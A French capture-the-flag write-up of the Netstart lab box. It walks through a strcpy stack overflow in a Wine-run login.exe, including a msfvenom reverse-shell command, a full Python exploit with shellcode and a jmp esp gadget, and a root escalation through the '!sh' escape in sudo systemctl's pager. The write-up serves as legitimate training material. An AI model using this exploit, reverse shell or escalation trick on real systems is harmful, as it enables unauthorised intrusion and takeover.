Netstart est un CTF créé par foxlox. La description donne la couleur :
This is a Linux box, running a WINE Application vulnerable to Buffer Overflow
Et effectivement on rentre immédiatement dans le vif du sujet puisqu’on a un service inconnu et un partage FTP sur lequel on trouve l’exécutable Windows avec sa DLL :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
Nmap scan report for 192.168.56.50
Host is up (0.00016s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| -rw-r--r-- 1 0 0 50992 Nov 16 2020 login.exe
|_-rw-r--r-- 1 0 0 28613 Nov 16 2020 login_support.dll
| ftp-syst:
| STAT:
| FTP server status:
| Connected to 192.168.56.1
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 2
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
2371/tcp open worldwire?
| fingerprint-strings:
| DNSStatusRequestTCP, DNSVersionBindReqTCP, FourOhFourRequest, GenericLines, GetRequest, HTTPOptions, Help, JavaRMI, Kerberos, LANDesk-RC, LDAPBindReq, LDAPSearchReq, LPDString, NCP, NULL, NotesRPC, RPCCheck, RTSPRequest, SIPOptions, SMBProgNeg, SSLSessionReq, TLSSessionReq, TerminalServer, TerminalServerCookie, WMSRequest, X11Probe, afp, giop, ms-sql-s, oracle-tns:
|_ Password:
Comme d’habitude, quand il s’agit de reverse engineering, je me dirige automatiquement vers Cutter parce que c’est gratuit et open-source. Que demander de mieux ?
Quand on ouvre l’exécutable dans Cutter on voit sur la gauche la liste des fonctions dans le binaire. Plusieurs ont un nom qui semble un bon début d’analyse :
entry0
entry1
entry2
main
sym._WinMainCRTStartup
sym.__main
sym._main
C’est la fonction WinMainCRTStartup
qui semble faire le lien entre tout ça et après avoir navigué un peu c’est sym._main
qui correspond à notre vrai point d’entrée.
Ce que fait cette fonction c’est principalement de la gestion d’erreur. Ainsi à chaque bloc on est redirigé en cas d’erreur (flèches rouges) vers la fin d’exécution. Les vérifications sont faites sur la création de la socket, le bind, le listen, etc.
Si tout se passe bien on entre dans la dernière boucle qui est celle du accept()
quand un client se connecte au port. La fonction CreateThread
est alors appelée, cette dernière reçoit en paramètre le callback qui servira à la gestion du client : sym._ConnectionHandler_4
.
Cette fonction a deux points intéressants. D’abord juste avant le dernier bloc on voit un appel à une fonction baptisée _f3
qui semble recevoir les données reçues sur la socket.
Ensuite on a toute une boucle de petites d’opérationsqui ressemblent à ceci :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
0x00401a49 mov edx, dword [var_bp_ch]
0x00401a4c mov eax, dword [dest]
0x00401a4f add eax, edx
0x00401a51 movzx eax, byte [eax]
0x00401a54 cmp al, 0x2d ; 45
0x00401a56 jne 0x401a71
0x00401a58 mov eax, dword [var_bp_ch]
0x00401a5b lea edx, [eax + 1]
0x00401a5e mov eax, dword [dest]
0x00401a61 add eax, edx
0x00401a63 mov byte [eax], 0
0x00401a66 mov edx, dword [var_bp_ch]
0x00401a69 mov eax, dword [dest]
0x00401a6c add eax, edx
0x00401a6e mov byte [eax], 0xb0 ; 176
On voit ainsi plusieurs comparaisons à des valeurs harcodées : 0x2d, 0x2e, 0x46, 0x47, 0x59, 0x5e et 0x60 ainsi qu’en écrasement par un octet nul.
Il s’agit de caractères qui ne devront pas être inclus dans notre payload sans quoi il sera cassé.
La fonction _f3
est quant à elle simple et il ne fait aucun doute qu’elle est vulnérable avec son appel à strcpy
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
_f3 (char *arg_8h);
; var char *dest @ ebp-0x6a2
; arg char *arg_8h @ ebp+0x8
; var const char *src @ esp+0x4
0x004018ce push ebp
0x004018cf mov ebp, esp
0x004018d1 sub esp, 0x6b8
0x004018d7 mov eax, dword [arg_8h]
0x004018da mov dword [src], eax ; const char *src
0x004018de lea eax, [dest]
0x004018e4 mov dword [esp], eax ; char *dest
0x004018e7 call _strcpy ; sym._strcpy ; char *strcpy(char *dest, const char *src)
0x004018ec nop
0x004018ed leave
0x004018ee ret
On peut lire en commentaire qu’il y a une variable locate (ici dest
) qui prend 1698 octets (0x6a2) dans la stack frame. Il faut ensuite compter 4 octets pour écraser EBP puis 4 autres pour écraser EIP.
Pour valider ça on peut envoyer la chaine suivante en Python (suivi d’un CRLF sans quoi le serveur continue d’attendre un input) vers le binaire en écoute que l’on aura nous aussi lancé avec Wine :
1
b"A" * 1698 + b"BBBB" + b"CCCC" + b"DDDD" * 16
Une fenêtre de débogage de Wine apparait aussitôt, on s’empresse de regarder les détails :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
Unhandled exception: page fault on read access to 0x43434343 in 32-bit code (0x43434343).
Register dump:
CS:0023 SS:002b DS:002b ES:002b FS:0063 GS:006b
EIP:43434343 ESP:0135fb08 EBP:42424242 EFLAGS:00010246( R- -- I Z- -P- )
EAX:0135f45e EBX:00000040 ECX:0135f45e EDX:00000000
ESI:00000000 EDI:00000000
Stack dump:
0x0135fb08: 44444444 44444444 44444444 44444444
0x0135fb18: 44444444 44444444 44444444 44444444
0x0135fb28: 44444444 44444444 44444444 44444444
0x0135fb38: 44444444 44444444 44444444 44444444
0x0135fb48: 00000a0d 00000000 00000000 00000000
0x0135fb58: 00000000 00000000 00000000 00000000
Backtrace:
=>0 0x43434343 (0x42424242)
0x43434343: -- no code accessible --
Modules:
Module Address Debug info Name (8 modules)
PE 00400000-00413000 Deferred login
PE 62500000-62510000 Deferred login_support
PE 6a280000-6a31c000 Deferred msvcrt
PE 6d780000-6d7a7000 Deferred ws2_32
PE 70b40000-70c04000 Deferred ucrtbase
PE 7b000000-7b288000 Deferred kernelbase
PE 7b600000-7b65a000 Deferred kernel32
PE 7bc00000-7bc9c000 Deferred ntdll
Il y a plusieurs particularités qui vont en notre faveur :
ESP pointe sur les données juste après l’adresse de retour que l’on va écraser
EAX et ECX pointent tous les deux sur le début de notre buffer dans la stack
On peut le voir à l’aide de winedbg qui est une copie (mais pas aussi bien) de gdb :
1
2
3
4
5
6
7
8
9
Wine-dbg>b *0x004018ee
Breakpoint 1 at 0x000000004018ee login+0x18ee
Wine-dbg>c
Stopped on breakpoint 1 at 0x000000004018ee login+0x18ee
Wine-dbg>x/i $eip
0x000000004018ee login+0x18ee: ret
Wine-dbg>x/s $eax
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Ici j’ai mis un breakpoint sur l’instruction ret dans _f3 puisque c’est là où le détournement de l’exécution aura lieu.
Il nous faut un shellcode et comme il y a différents caractères interdits autant s’en remettre à Metasploit qui utilisera des encodeurs pour obtenir un shellcode valide :
1
msfvenom -a x86 -b '\x2d\x2e\x46\x47\x59\x5e\x60\x00' -p windows/shell_reverse_tcp LHOST=192.168.56.1 LPORT=4444 --format python
Il faut aussi choisir par quoi on va écraser l’adresse de retour. A l’aide de ROPgadget je trouve facilement une instruction dans le binaire qui fait un call eax
. Il faut donc passer notre shellcode en début de payload :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
import socket
# msfvenom -a x86 -b '\x2d\x2e\x46\x47\x59\x5e\x60\x00' -p windows/shell_reverse_tcp LHOST=192.168.56.1 LPORT=4444 --format python
shellcode = b""
shellcode += b"\x33\xc9\xb1\x51\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73"
shellcode += b"\x13\xe8\xf7\xe4\xc1\x83\xeb\xfc\xe2\xf4\x14\x1f\x66"
shellcode += b"\xc1\xe8\xf7\x84\x48\x0d\xc6\x24\xa5\x63\xa7\xd4\x4a"
shellcode += b"\xba\xfb\x6f\x93\xfc\x7c\x96\xe9\xe7\x40\xae\xe7\xd9"
shellcode += b"\x08\x48\xfd\x89\x8b\xe6\xed\xc8\x36\x2b\xcc\xe9\x30"
shellcode += b"\x06\x33\xba\xa0\x6f\x93\xf8\x7c\xae\xfd\x63\xbb\xf5"
shellcode += b"\xb9\x0b\xbf\xe5\x10\xb9\x7c\xbd\xe1\xe9\x24\x6f\x88"
shellcode += b"\xf0\x14\xde\x88\x63\xc3\x6f\xc0\x3e\xc6\x1b\x6d\x29"
shellcode += b"\x38\xe9\xc0\x2f\xcf\x04\xb4\x1e\xf4\x99\x39\xd3\x8a"
shellcode += b"\xc0\xb4\x0c\xaf\x6f\x99\xcc\xf6\x37\xa7\x63\xfb\xaf"
shellcode += b"\x4a\xb0\xeb\xe5\x12\x63\xf3\x6f\xc0\x38\x7e\xa0\xe5"
shellcode += b"\xcc\xac\xbf\xa0\xb1\xad\xb5\x3e\x08\xa8\xbb\x9b\x63"
shellcode += b"\xe5\x0f\x4c\xb5\x9f\xd7\xf3\xe8\xf7\x8c\xb6\x9b\xc5"
shellcode += b"\xbb\x95\x80\xbb\x93\xe7\xef\x08\x31\x79\x78\xf6\xe4"
shellcode += b"\xc1\xc1\x33\xb0\x91\x80\xde\x64\xaa\xe8\x08\x31\x91"
shellcode += b"\xb8\xa7\xb4\x81\xb8\xb7\xb4\xa9\x02\xf8\x3b\x21\x17"
shellcode += b"\x22\x73\xab\xed\x9f\x24\x69\xd0\xf6\x8c\xc3\xe8\xe6"
shellcode += b"\xb8\x48\x0e\x9d\xf4\x97\xbf\x9f\x7d\x64\x9c\x96\x1b"
shellcode += b"\x14\x6d\x37\x90\xcd\x17\xb9\xec\xb4\x04\x9f\x14\x74"
shellcode += b"\x4a\xa1\x1b\x14\x80\x94\x89\xa5\xe8\x7e\x07\x96\xbf"
shellcode += b"\xa0\xd5\x37\x82\xe5\xbd\x97\x0a\x0a\x82\x06\xac\xd3"
shellcode += b"\xd8\xc0\xe9\x7a\xa0\xe5\xf8\x31\xe4\x85\xbc\xa7\xb2"
shellcode += b"\x97\xbe\xb1\xb2\x8f\xbe\xa1\xb7\x97\x80\x8e\x28\xfe"
shellcode += b"\x6e\x08\x31\x48\x08\xb9\xb2\x87\x17\xc7\x8c\xc9\x6f"
shellcode += b"\xea\x84\x3e\x3d\x4c\x14\x74\x4a\xa1\x8c\x67\x7d\x4a"
shellcode += b"\x79\x3e\x3d\xcb\xe2\xbd\xe2\x77\x1f\x21\x9d\xf2\x5f"
shellcode += b"\x86\xfb\x85\x8b\xab\xe8\xa4\x1b\x14"
# Utilise l'adresse d'une instruction déjà présente dans le binaire
# qui saute sur l'adresse contenue dans EAX
nop_call_eax = b"\x1f\x21\x40\x00"
buffer = shellcode + b"\x90" * (1702 - len(shellcode)) + nop_call_eax * 10
sock = socket.socket()
sock.connect(("127.0.0.1", 2371))
sock.recv(1024)
sock.send(buffer + b"\r\n")
sock.close()
Et là, c’est la douche froide :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
Unhandled exception: page fault on write access to 0xb80185f6 in 32-bit code (0x0135f563).
Register dump:
CS:0023 SS:002b DS:002b ES:002b FS:0063 GS:006b
EIP:0135f563 ESP:0135f960 EBP:0135f47b EFLAGS:00010202( R- -- I - - - )
EAX:00005001 EBX:0135f5a6 ECX:0135f958 EDX:00000000
ESI:0135f964 EDI:00000050
Stack dump:
0x0135f960: f5806d63 5c110002 0138a8c0 00000005
0x0135f970: 02020202 536e6957 206b636f 00302e32
0x0135f980: 00000000 007321c0 00720000 00000000
0x0135f990: 7ffb2c00 007202b0 00000000 00723d24
0x0135f9a0: 007321c8 7ffb2c00 0135f9d0 00732101
0x0135f9b0: 00000000 00732078 00720000 00000000
Backtrace:
=>0 0x0135f563 (0x0135f47b)
0x0135f563: addb %ah,0x35(%ecx,%edi,8)
On voit que le code tente d’écrire à [ecx+edi*8]+0x35
(il me semble, car ce n’est pas la notation que j’utilise habituellement :p) qui correspond à une zone mémoire non mappée.
Quel est le problème ? Potentiellement le shellcode place des données sur la stack et en le faisant se modifie lui-même ce qui provoque l’exécution de code cassé.
J’ai utilisé différents shellcodes et finalement il y avait toujours un problème.
J’ai finalement placé le shellcode après l’adresse de retour avec l’utilisation d’un jmp esp
comme gadget (présent dans la DLL) :
1
2
3
4
5
6
7
8
jmp_esp = b"\xb8\x12\x50\x62"
buffer = b"a"*1702 + jmp_esp + b"\x90" * 8 + shellcode
sock = socket.socket()
sock.connect(("127.0.0.1", 2371))
sock.recv(1024)
sock.send(buffer + b"\r\n")
sock.close()
On place quelques NOPs afin d’être sûr que notre shellcode est bien calé en mémoire.
Après un test local, on peut appliquer sur la VM. On obtient bien notre reverse shell :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
$ ncat -l -p 4444 -v
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 192.168.56.50.
Ncat: Connection from 192.168.56.50:48510.
Microsoft Windows 6.1.7601 (4.0)
C:\users\fox>dir
Volume in drive C has no label.
Volume Serial Number is 0000-0000
Directory of C:\users\fox
11/7/2022 7:33 PM <DIR> .
11/16/2020 5:58 PM <DIR> ..
11/16/2020 5:58 PM <DIR> AppData
11/16/2020 5:58 PM <DIR> Application Data
11/16/2020 5:58 PM <DIR> Contacts
11/16/2020 5:58 PM <DIR> Cookies
11/16/2020 5:58 PM <DIR> Desktop
11/16/2020 5:58 PM <DIR> Downloads
11/16/2020 5:58 PM <DIR> Favorites
11/16/2020 5:58 PM <DIR> Links
11/16/2020 5:58 PM <DIR> Local Settings
11/16/2020 5:58 PM <DIR> NetHood
11/16/2020 5:58 PM <DIR> PrintHood
11/16/2020 5:58 PM <DIR> Recent
11/16/2020 5:58 PM <DIR> Saved Games
11/16/2020 5:58 PM <DIR> Searches
11/16/2020 5:58 PM <DIR> SendTo
11/16/2020 5:58 PM <DIR> Start Menu
11/16/2020 5:58 PM <DIR> Temp
11/16/2020 5:58 PM <DIR> Templates
0 files 0 bytes
20 directories 6,558,572,544 bytes free
Tout comme pour le CTF CallMe j’ai utilisé la commande start /unix
pour m’échapper de l’invite de commande Windows et obtenir un reverse shell avec nc.traditional
.
Dans le dossier de l’utilisateur qui faisait tourner le service je trouve un script bash :
1
2
3
4
5
6
fox@netstart:/home/fox$ cat startup
#!/bin/bash
xhost +si:localuser:fox
gsettings set org.gnome.desktop.session idle-delay 1
/usr/bin/wine login.exe
Ainsi que le flag 75894c2b3d5c3b78372af63694cdc659
.
L’utilisateur peut utiliser systemctl
avec les droits root, ce sera notre porte de sortie finale :
1
2
3
4
5
6
fox@netstart:/home/fox$ sudo -l
Matching Defaults entries for fox on netstart:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User fox may run the following commands on netstart:
(root) NOPASSWD: /usr/bin/systemctl
La plupart des commandes de listing de systemctl
sont gérées par le pager less
or il est possible d’obtenir un shell depuis en tapant !sh
:
1
2
3
4
5
6
7
8
9
10
11
12
13
fox@netstart:/home/fox$ sudo /usr/bin/systemctl list-units
UNIT LOAD ACTIVE SUB DESCRIPTION
proc-sys-fs-binfmt_misc.automount loaded active waiting Arbitrary Executable File Formats File System Automount Point
sys-devices-pci0000:00-0000:00:01.1-ata2-host2-target2:0:0-2:0:0:0-block-sr0.device loaded active plugged VBOX_CD-ROM
sys-devices-pci0000:00-0000:00:03.0-net-enp0s3.device loaded active plugged 82540EM Gigabit Ethernet Controller (PRO/1000 MT Desktop Adapter)
sys-devices-pci0000:00-0000:00:05.0-sound-card0.device loaded active plugged 82801AA AC'97 Audio Controller
--- snip ---
systemd-modules-load.service loaded active exited Load Kernel Modules
systemd-random-seed.service loaded active exited Load/Save Random Seed
systemd-remount-fs.service loaded active exited Remount Root and Kernel File Systems
!sh
# id
uid=0(root) gid=0(root) groups=0(root)
Et du côté de root :
1
2
3
4
5
6
7
8
# cat win
while true
do
runuser -l fox -c 'cd ~/.wine/drive_c/users/fox && wine login.exe'
sleep 3
done
# cat proof.txt
f632f5eaffa5607c961e22ba40291ab7
J’ai bien galéré avec ces histoires de shellcode. Il aurait peut-être été possible de faire fonctionner la première technique et faisant d’abord exécuter des gadgets pour décaler la stack (sub esp + ret).